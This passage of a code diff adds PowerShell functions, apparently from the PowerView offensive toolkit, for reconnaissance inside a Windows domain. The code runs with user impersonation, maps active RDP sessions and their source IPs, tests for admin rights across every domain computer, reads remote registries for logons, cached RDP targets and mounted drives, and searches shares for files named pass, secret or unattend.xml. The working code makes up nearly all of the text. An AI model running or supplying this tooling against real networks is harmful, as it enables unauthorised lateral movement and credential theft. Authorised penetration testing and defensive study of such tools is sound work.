Noteproperty 'UserDomain' $UserDomain + $RegLoggedOnUser | Add-Member Noteproperty 'UserName' $UserName + $RegLoggedOnUser | Add-Member Noteproperty 'UserSID' $_ + $RegLoggedOnUser.PSObject.TypeNames.Insert(0, 'PowerView.RegLoggedOnUser') + $RegLoggedOnUser + } + } + catch { + Write-Verbose "[Get-RegLoggedOn] Error opening remote registry on '$ComputerName' : $_" + } + } + } + + END { + if ($LogonToken) { + Invoke-RevertToSelf -TokenHandle $LogonToken + } + } +} + + +function Get-NetRDPSession { +<# +.SYNOPSIS + +Returns remote desktop/session information for the local (or a remote) machine. + +Note: only members of the Administrators or Account Operators local group +can successfully execute this functionality on a remote target. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: PSReflect, Invoke-UserImpersonation, Invoke-RevertToSelf + +.DESCRIPTION + +This function will execute the WTSEnumerateSessionsEx and WTSQuerySessionInformation +Win32API calls to query a given RDP remote service for active sessions and originating +IPs. This is a replacement for qwinsta. + +.PARAMETER ComputerName + +Specifies the hostname to query for active sessions (also accepts IP addresses). +Defaults to 'localhost'. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the remote system using Invoke-UserImpersonation. + +.EXAMPLE + +Get-NetRDPSession + +Returns active RDP/terminal sessions on the local host. + +.EXAMPLE + +Get-NetRDPSession -ComputerName "sqlserver" + +Returns active RDP/terminal sessions on the 'sqlserver' host. + +.EXAMPLE + +Get-DomainController | Get-NetRDPSession + +Returns active RDP/terminal sessions on all domain controllers. + +.EXAMPLE + +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-NetRDPSession -ComputerName sqlserver -Credential $Cred + +.OUTPUTS + +PowerView.RDPSessionInfo + +A PSCustomObject representing a combined WTS_SESSION_INFO_1 and WTS_CLIENT_ADDRESS structure, +with the ComputerName added. + +.LINK + +https://msdn.microsoft.com/en-us/library/aa383861(v=vs.85).aspx +#> + + [OutputType('PowerView.RDPSessionInfo')] + [CmdletBinding()] + Param( + [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('HostName', 'dnshostname', 'name')] + [ValidateNotNullOrEmpty()] + [String[]] + $ComputerName = 'localhost', + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty + ) + + BEGIN { + if ($PSBoundParameters['Credential']) { + $LogonToken = Invoke-UserImpersonation -Credential $Credential + } + } + + PROCESS { + ForEach ($Computer in $ComputerName) { + + # open up a handle to the Remote Desktop Session host + $Handle = $Wtsapi32::WTSOpenServerEx($Computer) + + # if we get a non-zero handle back, everything was successful + if ($Handle -ne 0) { + + # arguments for WTSEnumerateSessionsEx + $ppSessionInfo = [IntPtr]::Zero + $pCount = 0 + + # get information on all current sessions + $Result = $Wtsapi32::WTSEnumerateSessionsEx($Handle, [ref]1, 0, [ref]$ppSessionInfo, [ref]$pCount);$LastError = [Runtime.InteropServices.Marshal]::GetLastWin32Error() + + # locate the offset of the initial intPtr + $Offset = $ppSessionInfo.ToInt64() + + if (($Result -ne 0) -and ($Offset -gt 0)) { + + # work out how much to increment the pointer by finding out the size of the structure + $Increment = $WTS_SESSION_INFO_1::GetSize() + + # parse all the result structures + for ($i = 0; ($i -lt $pCount); $i++) { + + # create a new int ptr at the given offset and cast the pointer as our result structure + $NewIntPtr = New-Object System.Intptr -ArgumentList $Offset + $Info = $NewIntPtr -as $WTS_SESSION_INFO_1 + + $RDPSession = New-Object PSObject + + if ($Info.pHostName) { + $RDPSession | Add-Member Noteproperty 'ComputerName' $Info.pHostName + } + else { + # if no hostname returned, use the specified hostname + $RDPSession | Add-Member Noteproperty 'ComputerName' $Computer + } + + $RDPSession | Add-Member Noteproperty 'SessionName' $Info.pSessionName + + if ($(-not $Info.pDomainName) -or ($Info.pDomainName -eq '')) { + # if a domain isn't returned just use the username + $RDPSession | Add-Member Noteproperty 'UserName' "$($Info.pUserName)" + } + else { + $RDPSession | Add-Member Noteproperty 'UserName' "$($Info.pDomainName)\$($Info.pUserName)" + } + + $RDPSession | Add-Member Noteproperty 'ID' $Info.SessionID + $RDPSession | Add-Member Noteproperty 'State' $Info.State + + $ppBuffer = [IntPtr]::Zero + $pBytesReturned = 0 + + # query for the source client IP with WTSQuerySessionInformation + # https://msdn.microsoft.com/en-us/library/aa383861(v=vs.85).aspx + $Result2 = $Wtsapi32::WTSQuerySessionInformation($Handle, $Info.SessionID, 14, [ref]$ppBuffer, [ref]$pBytesReturned);$LastError2 = [Runtime.InteropServices.Marshal]::GetLastWin32Error() + + if ($Result2 -eq 0) { + Write-Verbose "[Get-NetRDPSession] Error: $(([ComponentModel.Win32Exception] $LastError2).Message)" + } + else { + $Offset2 = $ppBuffer.ToInt64() + $NewIntPtr2 = New-Object System.Intptr -ArgumentList $Offset2 + $Info2 = $NewIntPtr2 -as $WTS_CLIENT_ADDRESS + + $SourceIP = $Info2.Address + if ($SourceIP[2] -ne 0) { + $SourceIP = [String]$SourceIP[2]+'.'+[String]$SourceIP[3]+'.'+[String]$SourceIP[4]+'.'+[String]$SourceIP[5] + } + else { + $SourceIP = $Null + } + + $RDPSession | Add-Member Noteproperty 'SourceIP' $SourceIP + $RDPSession.PSObject.TypeNames.Insert(0, 'PowerView.RDPSessionInfo') + $RDPSession + + # free up the memory buffer + $Null = $Wtsapi32::WTSFreeMemory($ppBuffer) + + $Offset += $Increment + } + } + # free up the memory result buffer + $Null = $Wtsapi32::WTSFreeMemoryEx(2, $ppSessionInfo, $pCount) + } + else { + Write-Verbose "[Get-NetRDPSession] Error: $(([ComponentModel.Win32Exception] $LastError).Message)" + } + # close off the service handle + $Null = $Wtsapi32::WTSCloseServer($Handle) + } + else { + Write-Verbose "[Get-NetRDPSession] Error opening the Remote Desktop Session Host (RD Session Host) server for: $ComputerName" + } + } + } + + END { + if ($LogonToken) { + Invoke-RevertToSelf -TokenHandle $LogonToken + } + } +} + + +function Test-AdminAccess { +<# +.SYNOPSIS + +Tests if the current user has administrative access to the local (or a remote) machine. + +Idea stolen from the local_admin_search_enum post module in Metasploit written by: + 'Brandon McCann "zeknox" ' + 'Thomas McCarthy "smilingraccoon" ' + 'Royce Davis "r3dy" ' + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: PSReflect, Invoke-UserImpersonation, Invoke-RevertToSelf + +.DESCRIPTION + +This function will use the OpenSCManagerW Win32API call to establish +a handle to the remote host. If this succeeds, the current user context +has local administrator acess to the target. + +.PARAMETER ComputerName + +Specifies the hostname to check for local admin access (also accepts IP addresses). +Defaults to 'localhost'. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the remote system using Invoke-UserImpersonation. + +.EXAMPLE + +Test-AdminAccess -ComputerName sqlserver + +Returns results indicating whether the current user has admin access to the 'sqlserver' host. + +.EXAMPLE + +Get-DomainComputer | Test-AdminAccess + +Returns what machines in the domain the current user has access to. + +.EXAMPLE + +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Test-AdminAccess -ComputerName sqlserver -Credential $Cred + +.OUTPUTS + +PowerView.AdminAccess + +A PSCustomObject containing the ComputerName and 'IsAdmin' set to whether +the current user has local admin rights, along with the ComputerName added. + +.LINK + +https://github.com/rapid7/metasploit-framework/blob/master/modules/post/windows/gather/local_admin_search_enum.rb +http://www.powershellmagazine.com/2014/09/25/easily-defining-enums-structs-and-win32-functions-in-memory/ +#> + + [OutputType('PowerView.AdminAccess')] + [CmdletBinding()] + Param( + [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('HostName', 'dnshostname', 'name')] + [ValidateNotNullOrEmpty()] + [String[]] + $ComputerName = 'localhost', + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty + ) + + BEGIN { + if ($PSBoundParameters['Credential']) { + $LogonToken = Invoke-UserImpersonation -Credential $Credential + } + } + + PROCESS { + ForEach ($Computer in $ComputerName) { + # 0xF003F - SC_MANAGER_ALL_ACCESS + # http://msdn.microsoft.com/en-us/library/windows/desktop/ms685981(v=vs.85).aspx + $Handle = $Advapi32::OpenSCManagerW("\\$Computer", 'ServicesActive', 0xF003F);$LastError = [Runtime.InteropServices.Marshal]::GetLastWin32Error() + + $IsAdmin = New-Object PSObject + $IsAdmin | Add-Member Noteproperty 'ComputerName' $Computer + + # if we get a non-zero handle back, everything was successful + if ($Handle -ne 0) { + $Null = $Advapi32::CloseServiceHandle($Handle) + $IsAdmin | Add-Member Noteproperty 'IsAdmin' $True + } + else { + Write-Verbose "[Test-AdminAccess] Error: $(([ComponentModel.Win32Exception] $LastError).Message)" + $IsAdmin | Add-Member Noteproperty 'IsAdmin' $False + } + $IsAdmin.PSObject.TypeNames.Insert(0, 'PowerView.AdminAccess') + $IsAdmin + } + } + + END { + if ($LogonToken) { + Invoke-RevertToSelf -TokenHandle $LogonToken + } + } +} + + +function Get-NetComputerSiteName { +<# +.SYNOPSIS + +Returns the AD site where the local (or a remote) machine resides. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: PSReflect, Invoke-UserImpersonation, Invoke-RevertToSelf + +.DESCRIPTION + +This function will use the DsGetSiteName Win32API call to look up the +name of the site where a specified computer resides. + +.PARAMETER ComputerName + +Specifies the hostname to check the site for (also accepts IP addresses). +Defaults to 'localhost'. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the remote system using Invoke-UserImpersonation. + +.EXAMPLE + +Get-NetComputerSiteName -ComputerName WINDOWS1.testlab.local + +Returns the site for WINDOWS1.testlab.local. + +.EXAMPLE + +Get-DomainComputer | Get-NetComputerSiteName + +Returns the sites for every machine in AD. + +.EXAMPLE + +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-NetComputerSiteName -ComputerName WINDOWS1.testlab.local -Credential $Cred + +.OUTPUTS + +PowerView.ComputerSite + +A PSCustomObject containing the ComputerName, IPAddress, and associated Site name. +#> + + [OutputType('PowerView.ComputerSite')] + [CmdletBinding()] + Param( + [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('HostName', 'dnshostname', 'name')] + [ValidateNotNullOrEmpty()] + [String[]] + $ComputerName = 'localhost', + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty + ) + + BEGIN { + if ($PSBoundParameters['Credential']) { + $LogonToken = Invoke-UserImpersonation -Credential $Credential + } + } + + PROCESS { + ForEach ($Computer in $ComputerName) { + # if we get an IP address, try to resolve the IP to a hostname + if ($Computer -match '^(?:[0-9]{1,3}\.){3}[0-9]{1,3}$') { + $IPAddress = $Computer + $Computer = [System.Net.Dns]::GetHostByAddress($Computer) | Select-Object -ExpandProperty HostName + } + else { + $IPAddress = @(Resolve-IPAddress -ComputerName $Computer)[0].IPAddress + } + + $PtrInfo = [IntPtr]::Zero + + $Result = $Netapi32::DsGetSiteName($Computer, [ref]$PtrInfo) + + $ComputerSite = New-Object PSObject + $ComputerSite | Add-Member Noteproperty 'ComputerName' $Computer + $ComputerSite | Add-Member Noteproperty 'IPAddress' $IPAddress + + if ($Result -eq 0) { + $Sitename = [System.Runtime.InteropServices.Marshal]::PtrToStringAuto($PtrInfo) + $ComputerSite | Add-Member Noteproperty 'SiteName' $Sitename + } + else { + Write-Verbose "[Get-NetComputerSiteName] Error: $(([ComponentModel.Win32Exception] $Result).Message)" + $ComputerSite | Add-Member Noteproperty 'SiteName' '' + } + $ComputerSite.PSObject.TypeNames.Insert(0, 'PowerView.ComputerSite') + + # free up the result buffer + $Null = $Netapi32::NetApiBufferFree($PtrInfo) + + $ComputerSite + } + } + + END { + if ($LogonToken) { + Invoke-RevertToSelf -TokenHandle $LogonToken + } + } +} + + +function Get-WMIRegProxy { +<# +.SYNOPSIS + +Enumerates the proxy server and WPAD conents for the current user. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: None + +.DESCRIPTION + +Enumerates the proxy server and WPAD specification for the current user +on the local machine (default), or a machine specified with -ComputerName. +It does this by enumerating settings from +HKU:SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings. + +.PARAMETER ComputerName + +Specifies the system to enumerate proxy settings on. Defaults to the local host. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connecting to the remote system. + +.EXAMPLE + +Get-WMIRegProxy + +ComputerName ProxyServer AutoConfigURL Wpad +------------ ----------- ------------- ---- +WINDOWS1 http://primary.test... + +.EXAMPLE + +$Cred = Get-Credential "TESTLAB\administrator" +Get-WMIRegProxy -Credential $Cred -ComputerName primary.testlab.local + +ComputerName ProxyServer AutoConfigURL Wpad +------------ ----------- ------------- ---- +windows1.testlab.local primary.testlab.local + +.INPUTS + +String + +Accepts one or more computer name specification strings on the pipeline (netbios or FQDN). + +.OUTPUTS + +PowerView.ProxySettings + +Outputs custom PSObjects with the ComputerName, ProxyServer, AutoConfigURL, and WPAD contents. +#> + + [OutputType('PowerView.ProxySettings')] + [CmdletBinding()] + Param( + [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('HostName', 'dnshostname', 'name')] + [ValidateNotNullOrEmpty()] + [String[]] + $ComputerName = $Env:COMPUTERNAME, + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty + ) + + PROCESS { + ForEach ($Computer in $ComputerName) { + try { + $WmiArguments = @{ + 'List' = $True + 'Class' = 'StdRegProv' + 'Namespace' = 'root\default' + 'Computername' = $Computer + 'ErrorAction' = 'Stop' + } + if ($PSBoundParameters['Credential']) { $WmiArguments['Credential'] = $Credential } + + $RegProvider = Get-WmiObject @WmiArguments + $Key = 'SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings' + + # HKEY_CURRENT_USER + $HKCU = 2147483649 + $ProxyServer = $RegProvider.GetStringValue($HKCU, $Key, 'ProxyServer').sValue + $AutoConfigURL = $RegProvider.GetStringValue($HKCU, $Key, 'AutoConfigURL').sValue + + $Wpad = '' + if ($AutoConfigURL -and ($AutoConfigURL -ne '')) { + try { + $Wpad = (New-Object Net.WebClient).DownloadString($AutoConfigURL) + } + catch { + Write-Warning "[Get-WMIRegProxy] Error connecting to AutoConfigURL : $AutoConfigURL" + } + } + + if ($ProxyServer -or $AutoConfigUrl) { + $Out = New-Object PSObject + $Out | Add-Member Noteproperty 'ComputerName' $Computer + $Out | Add-Member Noteproperty 'ProxyServer' $ProxyServer + $Out | Add-Member Noteproperty 'AutoConfigURL' $AutoConfigURL + $Out | Add-Member Noteproperty 'Wpad' $Wpad + $Out.PSObject.TypeNames.Insert(0, 'PowerView.ProxySettings') + $Out + } + else { + Write-Warning "[Get-WMIRegProxy] No proxy settings found for $ComputerName" + } + } + catch { + Write-Warning "[Get-WMIRegProxy] Error enumerating proxy settings for $ComputerName : $_" + } + } + } +} + + +function Get-WMIRegLastLoggedOn { +<# +.SYNOPSIS + +Returns the last user who logged onto the local (or a remote) machine. + +Note: This function requires administrative rights on the machine you're enumerating. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: None + +.DESCRIPTION + +This function uses remote registry to enumerate the LastLoggedOnUser registry key +for the local (or remote) machine. + +.PARAMETER ComputerName + +Specifies the hostname to query for remote registry values (also accepts IP addresses). +Defaults to 'localhost'. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connecting to the remote system. + +.EXAMPLE + +Get-WMIRegLastLoggedOn + +Returns the last user logged onto the local machine. + +.EXAMPLE + +Get-WMIRegLastLoggedOn -ComputerName WINDOWS1 + +Returns the last user logged onto WINDOWS1 + +.EXAMPLE + +Get-DomainComputer | Get-WMIRegLastLoggedOn + +Returns the last user logged onto all machines in the domain. + +.EXAMPLE + +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-WMIRegLastLoggedOn -ComputerName PRIMARY.testlab.local -Credential $Cred + +.OUTPUTS + +PowerView.LastLoggedOnUser + +A PSCustomObject containing the ComputerName and last loggedon user. +#> + + [OutputType('PowerView.LastLoggedOnUser')] + [CmdletBinding()] + Param( + [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('HostName', 'dnshostname', 'name')] + [ValidateNotNullOrEmpty()] + [String[]] + $ComputerName = 'localhost', + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty + ) + + PROCESS { + ForEach ($Computer in $ComputerName) { + # HKEY_LOCAL_MACHINE + $HKLM = 2147483650 + + $WmiArguments = @{ + 'List' = $True + 'Class' = 'StdRegProv' + 'Namespace' = 'root\default' + 'Computername' = $Computer + 'ErrorAction' = 'SilentlyContinue' + } + if ($PSBoundParameters['Credential']) { $WmiArguments['Credential'] = $Credential } + + # try to open up the remote registry key to grab the last logged on user + try { + $Reg = Get-WmiObject @WmiArguments + + $Key = 'SOFTWARE\Microsoft\Windows\CurrentVersion\Authentication\LogonUI' + $Value = 'LastLoggedOnUser' + $LastUser = $Reg.GetStringValue($HKLM, $Key, $Value).sValue + + $LastLoggedOn = New-Object PSObject + $LastLoggedOn | Add-Member Noteproperty 'ComputerName' $Computer + $LastLoggedOn | Add-Member Noteproperty 'LastLoggedOn' $LastUser + $LastLoggedOn.PSObject.TypeNames.Insert(0, 'PowerView.LastLoggedOnUser') + $LastLoggedOn + } + catch { + Write-Warning "[Get-WMIRegLastLoggedOn] Error opening remote registry on $Computer. Remote registry likely not enabled." + } + } + } +} + + +function Get-WMIRegCachedRDPConnection { +<# +.SYNOPSIS + +Returns information about RDP connections outgoing from the local (or remote) machine. + +Note: This function requires administrative rights on the machine you're enumerating. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: ConvertFrom-SID + +.DESCRIPTION + +Uses remote registry functionality to query all entries for the +"Windows Remote Desktop Connection Client" on a machine, separated by +user and target server. + +.PARAMETER ComputerName + +Specifies the hostname to query for cached RDP connections (also accepts IP addresses). +Defaults to 'localhost'. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connecting to the remote system. + +.EXAMPLE + +Get-WMIRegCachedRDPConnection + +Returns the RDP connection client information for the local machine. + +.EXAMPLE + +Get-WMIRegCachedRDPConnection -ComputerName WINDOWS2.testlab.local + +Returns the RDP connection client information for the WINDOWS2.testlab.local machine + +.EXAMPLE + +Get-DomainComputer | Get-WMIRegCachedRDPConnection + +Returns cached RDP information for all machines in the domain. + +.EXAMPLE + +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-WMIRegCachedRDPConnection -ComputerName PRIMARY.testlab.local -Credential $Cred + +.OUTPUTS + +PowerView.CachedRDPConnection + +A PSCustomObject containing the ComputerName and cached RDP information. +#> + + [OutputType('PowerView.CachedRDPConnection')] + [CmdletBinding()] + Param( + [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('HostName', 'dnshostname', 'name')] + [ValidateNotNullOrEmpty()] + [String[]] + $ComputerName = 'localhost', + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty + ) + + PROCESS { + ForEach ($Computer in $ComputerName) { + # HKEY_USERS + $HKU = 2147483651 + + $WmiArguments = @{ + 'List' = $True + 'Class' = 'StdRegProv' + 'Namespace' = 'root\default' + 'Computername' = $Computer + 'ErrorAction' = 'Stop' + } + if ($PSBoundParameters['Credential']) { $WmiArguments['Credential'] = $Credential } + + try { + $Reg = Get-WmiObject @WmiArguments + + # extract out the SIDs of domain users in this hive + $UserSIDs = ($Reg.EnumKey($HKU, '')).sNames | Where-Object { $_ -match 'S-1-5-21-[0-9]+-[0-9]+-[0-9]+-[0-9]+$' } + + ForEach ($UserSID in $UserSIDs) { + try { + if ($PSBoundParameters['Credential']) { + $UserName = ConvertFrom-SID -ObjectSid $UserSID -Credential $Credential + } + else { + $UserName = ConvertFrom-SID -ObjectSid $UserSID + } + + # pull out all the cached RDP connections + $ConnectionKeys = $Reg.EnumValues($HKU,"$UserSID\Software\Microsoft\Terminal Server Client\Default").sNames + + ForEach ($Connection in $ConnectionKeys) { + # make sure this key is a cached connection + if ($Connection -match 'MRU.*') { + $TargetServer = $Reg.GetStringValue($HKU, "$UserSID\Software\Microsoft\Terminal Server Client\Default", $Connection).sValue + + $FoundConnection = New-Object PSObject + $FoundConnection | Add-Member Noteproperty 'ComputerName' $Computer + $FoundConnection | Add-Member Noteproperty 'UserName' $UserName + $FoundConnection | Add-Member Noteproperty 'UserSID' $UserSID + $FoundConnection | Add-Member Noteproperty 'TargetServer' $TargetServer + $FoundConnection | Add-Member Noteproperty 'UsernameHint' $Null + $FoundConnection.PSObject.TypeNames.Insert(0, 'PowerView.CachedRDPConnection') + $FoundConnection + } + } + + # pull out all the cached server info with username hints + $ServerKeys = $Reg.EnumKey($HKU,"$UserSID\Software\Microsoft\Terminal Server Client\Servers").sNames + + ForEach ($Server in $ServerKeys) { + + $UsernameHint = $Reg.GetStringValue($HKU, "$UserSID\Software\Microsoft\Terminal Server Client\Servers\$Server", 'UsernameHint').sValue + + $FoundConnection = New-Object PSObject + $FoundConnection | Add-Member Noteproperty 'ComputerName' $Computer + $FoundConnection | Add-Member Noteproperty 'UserName' $UserName + $FoundConnection | Add-Member Noteproperty 'UserSID' $UserSID + $FoundConnection | Add-Member Noteproperty 'TargetServer' $Server + $FoundConnection | Add-Member Noteproperty 'UsernameHint' $UsernameHint + $FoundConnection.PSObject.TypeNames.Insert(0, 'PowerView.CachedRDPConnection') + $FoundConnection + } + } + catch { + Write-Verbose "[Get-WMIRegCachedRDPConnection] Error: $_" + } + } + } + catch { + Write-Warning "[Get-WMIRegCachedRDPConnection] Error accessing $Computer, likely insufficient permissions or firewall rules on host: $_" + } + } + } +} + + +function Get-WMIRegMountedDrive { +<# +.SYNOPSIS + +Returns information about saved network mounted drives for the local (or remote) machine. + +Note: This function requires administrative rights on the machine you're enumerating. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: ConvertFrom-SID + +.DESCRIPTION + +Uses remote registry functionality to enumerate recently mounted network drives. + +.PARAMETER ComputerName + +Specifies the hostname to query for mounted drive information (also accepts IP addresses). +Defaults to 'localhost'. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connecting to the remote system. + +.EXAMPLE + +Get-WMIRegMountedDrive + +Returns the saved network mounted drives for the local machine. + +.EXAMPLE + +Get-WMIRegMountedDrive -ComputerName WINDOWS2.testlab.local + +Returns the saved network mounted drives for the WINDOWS2.testlab.local machine + +.EXAMPLE + +Get-DomainComputer | Get-WMIRegMountedDrive + +Returns the saved network mounted drives for all machines in the domain. + +.EXAMPLE + +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-WMIRegMountedDrive -ComputerName PRIMARY.testlab.local -Credential $Cred + +.OUTPUTS + +PowerView.RegMountedDrive + +A PSCustomObject containing the ComputerName and mounted drive information. +#> + + [OutputType('PowerView.RegMountedDrive')] + [CmdletBinding()] + Param( + [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('HostName', 'dnshostname', 'name')] + [ValidateNotNullOrEmpty()] + [String[]] + $ComputerName = 'localhost', + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty + ) + + PROCESS { + ForEach ($Computer in $ComputerName) { + # HKEY_USERS + $HKU = 2147483651 + + $WmiArguments = @{ + 'List' = $True + 'Class' = 'StdRegProv' + 'Namespace' = 'root\default' + 'Computername' = $Computer + 'ErrorAction' = 'Stop' + } + if ($PSBoundParameters['Credential']) { $WmiArguments['Credential'] = $Credential } + + try { + $Reg = Get-WmiObject @WmiArguments + + # extract out the SIDs of domain users in this hive + $UserSIDs = ($Reg.EnumKey($HKU, '')).sNames | Where-Object { $_ -match 'S-1-5-21-[0-9]+-[0-9]+-[0-9]+-[0-9]+$' } + + ForEach ($UserSID in $UserSIDs) { + try { + if ($PSBoundParameters['Credential']) { + $UserName = ConvertFrom-SID -ObjectSid $UserSID -Credential $Credential + } + else { + $UserName = ConvertFrom-SID -ObjectSid $UserSID + } + + $DriveLetters = ($Reg.EnumKey($HKU, "$UserSID\Network")).sNames + + ForEach ($DriveLetter in $DriveLetters) { + $ProviderName = $Reg.GetStringValue($HKU, "$UserSID\Network\$DriveLetter", 'ProviderName').sValue + $RemotePath = $Reg.GetStringValue($HKU, "$UserSID\Network\$DriveLetter", 'RemotePath').sValue + $DriveUserName = $Reg.GetStringValue($HKU, "$UserSID\Network\$DriveLetter", 'UserName').sValue + if (-not $UserName) { $UserName = '' } + + if ($RemotePath -and ($RemotePath -ne '')) { + $MountedDrive = New-Object PSObject + $MountedDrive | Add-Member Noteproperty 'ComputerName' $Computer + $MountedDrive | Add-Member Noteproperty 'UserName' $UserName + $MountedDrive | Add-Member Noteproperty 'UserSID' $UserSID + $MountedDrive | Add-Member Noteproperty 'DriveLetter' $DriveLetter + $MountedDrive | Add-Member Noteproperty 'ProviderName' $ProviderName + $MountedDrive | Add-Member Noteproperty 'RemotePath' $RemotePath + $MountedDrive | Add-Member Noteproperty 'DriveUserName' $DriveUserName + $MountedDrive.PSObject.TypeNames.Insert(0, 'PowerView.RegMountedDrive') + $MountedDrive + } + } + } + catch { + Write-Verbose "[Get-WMIRegMountedDrive] Error: $_" + } + } + } + catch { + Write-Warning "[Get-WMIRegMountedDrive] Error accessing $Computer, likely insufficient permissions or firewall rules on host: $_" + } + } + } +} + + +function Get-WMIProcess { +<# +.SYNOPSIS + +Returns a list of processes and their owners on the local or remote machine. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: None + +.DESCRIPTION + +Uses Get-WMIObject to enumerate all Win32_process instances on the local or remote machine, +including the owners of the particular process. + +.PARAMETER ComputerName + +Specifies the hostname to query for cached RDP connections (also accepts IP addresses). +Defaults to 'localhost'. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the remote system. + +.EXAMPLE + +Get-WMIProcess -ComputerName WINDOWS1 + +.EXAMPLE + +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-WMIProcess -ComputerName PRIMARY.testlab.local -Credential $Cred + +.OUTPUTS + +PowerView.UserProcess + +A PSCustomObject containing the remote process information. +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType('PowerView.UserProcess')] + [CmdletBinding()] + Param( + [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('HostName', 'dnshostname', 'name')] + [ValidateNotNullOrEmpty()] + [String[]] + $ComputerName = 'localhost', + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty + ) + + PROCESS { + ForEach ($Computer in $ComputerName) { + try { + $WmiArguments = @{ + 'ComputerName' = $ComputerName + 'Class' = 'Win32_process' + } + if ($PSBoundParameters['Credential']) { $WmiArguments['Credential'] = $Credential } + Get-WMIobject @WmiArguments | ForEach-Object { + $Owner = $_.getowner(); + $Process = New-Object PSObject + $Process | Add-Member Noteproperty 'ComputerName' $Computer + $Process | Add-Member Noteproperty 'ProcessName' $_.ProcessName + $Process | Add-Member Noteproperty 'ProcessID' $_.ProcessID + $Process | Add-Member Noteproperty 'Domain' $Owner.Domain + $Process | Add-Member Noteproperty 'User' $Owner.User + $Process.PSObject.TypeNames.Insert(0, 'PowerView.UserProcess') + $Process + } + } + catch { + Write-Verbose "[Get-WMIProcess] Error enumerating remote processes on '$Computer', access likely denied: $_" + } + } + } +} + + +function Find-InterestingFile { +<# +.SYNOPSIS + +Searches for files on the given path that match a series of specified criteria. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Add-RemoteConnection, Remove-RemoteConnection + +.DESCRIPTION + +This function recursively searches a given UNC path for files with +specific keywords in the name (default of pass, sensitive, secret, admin, +login and unattend*.xml). By default, hidden files/folders are included +in search results. If -Credential is passed, Add-RemoteConnection/Remove-RemoteConnection +is used to temporarily map the remote share. + +.PARAMETER Path + +UNC/local path to recursively search. + +.PARAMETER Include + +Only return files/folders that match the specified array of strings, +i.e. @(*.doc*, *.xls*, *.ppt*) + +.PARAMETER LastAccessTime + +Only return files with a LastAccessTime greater than this date value. + +.PARAMETER LastWriteTime + +Only return files with a LastWriteTime greater than this date value. + +.PARAMETER CreationTime + +Only return files with a CreationTime greater than this date value. + +.PARAMETER OfficeDocs + +Switch. Search for office documents (*.doc*, *.xls*, *.ppt*) + +.PARAMETER FreshEXEs + +Switch. Find .EXEs accessed within the last 7 days. + +.PARAMETER ExcludeFolders + +Switch. Exclude folders from the search results. + +.PARAMETER 